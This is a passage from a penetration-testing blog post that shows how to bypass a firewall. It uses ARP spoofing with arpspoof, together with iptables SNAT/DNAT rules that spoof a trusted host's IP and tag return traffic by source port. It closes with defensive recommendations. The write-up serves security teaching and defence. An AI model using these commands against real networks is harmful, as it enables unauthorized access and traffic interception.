<img src="https://idafchev.github.io/blog/assets/images/firewall_bypass/net_diag_4.png" alt="net_diag_4.png" class="align-center" /></p>

<p>To implement the tagging we need to choose the source port range first. Because I assume the OS of the target is unknown, then the ports should differ from both the Windows and Linux ranges. I chose to use <code class="language-plaintext highlighter-rouge">20000 - 30000</code>.
Because this range has different size (<code class="language-plaintext highlighter-rouge">10000</code>) than the port range of my Kali (<code class="language-plaintext highlighter-rouge">28231</code>) I wasn’t sure if this could lead to problems, so I also changed the source port range of the attacker host from <code class="language-plaintext highlighter-rouge">32768 - 60999</code> to <code class="language-plaintext highlighter-rouge">40000 - 50000</code>.</p>

<p>The following commands are everything you need to accomplish all of this.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Enable routing</span>
sysctl net.ipv4.ip_forward<span class="o">=</span>1

<span class="c"># Change the source port range of the attacker host</span>
<span class="nb">echo</span> <span class="s2">"40000 50000"</span> <span class="o">&gt;</span> /proc/sys/net/ipv4/ip_local_port_range

<span class="c"># The outgoing packets sourced by the attacker's host (their source </span>
<span class="c"># IP is 172.16.2.20) have their source IP changed to the target </span>
<span class="c"># IP (172.16.2.10) and the source port range moved to another range.</span>
<span class="c"># </span>
<span class="c"># This basically tags the outgoing traffic by spoofing the IP </span>
<span class="c"># and modifying the source ports.</span>
iptables <span class="nt">-t</span> nat <span class="nt">-A</span> POSTROUTING <span class="nt">-s</span> 172.16.2.20/32 <span class="nt">-o</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-j</span> SNAT <span class="nt">--to-source</span> 172.16.2.10:20000-30000

<span class="c"># Incoming traffic which has the target host as it's destination (172.16.2.10)</span>
<span class="c"># and has destination port in the range of 20000:30000 is changed to the </span>
<span class="c"># attacker IP (172.16.2.20) and the port range is restored to 40000:50000.</span>
<span class="c"># </span>
<span class="c"># This basically identifies the response of the spoofed traffic and changes</span>
<span class="c"># it in order to be routed to the attacker's host.</span>
iptables <span class="nt">-t</span> nat <span class="nt">-A</span> PREROUTING <span class="nt">-d</span> 172.16.2.10/32 <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 20000:30000 <span class="nt">-j</span> DNAT <span class="nt">--to-destination</span> 172.16.2.20:40000-50000

<span class="c"># Start the MITM attack</span>
<span class="nb">sudo </span>arpspoof <span class="nt">-i</span> eth0 <span class="nt">-t</span> 172.16.2.10 <span class="nt">-r</span> 172.16.2.2
</code></pre></div></div>

<p>Now when we test the connection to the host in the SecNet segment, a successful TCP session is established:<br />
<img src="https://idafchev.github.io/blog/assets/images/firewall_bypass/arpspoof_test.PNG" alt="arpspoof_test.PNG" class="align-center" /></p>

<p>The firewall is successfully bypassed! This means it’s possible to launch port scans and interact with the services in the SecNet segment!</p>

<p>Some recommendations to prevent such attacks are:</p>
<ul>
  <li>Use Dynamic ARP Inspection to protect from arp poisoning</li>
  <li>Use IP Source Guard to prevent IP spoofing</li>
  <li>Harden your firewall rules and permit only the necessary ports on your firewalls</li>
</ul>

<h1 id="references">References:</h1>
<hr />
<p>[1] <a href="https://superuser.com/questions/1118735/how-are-source-ports-determined-and-how-can-i-force-it-to-use-a-specific-port">https://superuser.com/questions/1118735/how-are-source-ports-determined-and-how-can-i-force-it-to-use-a-specific-port</a></p>]]></content><author><name>Ilia Dafchev</name></author><category term="posts" /><category term="ARP" /><category term="spoffing" /><category term="firewall" /><category term="bypass" /><category term="pentest" /><summary type="html"><![CDATA[A specific case of bypassing a firewall]]></summary></entry></feed>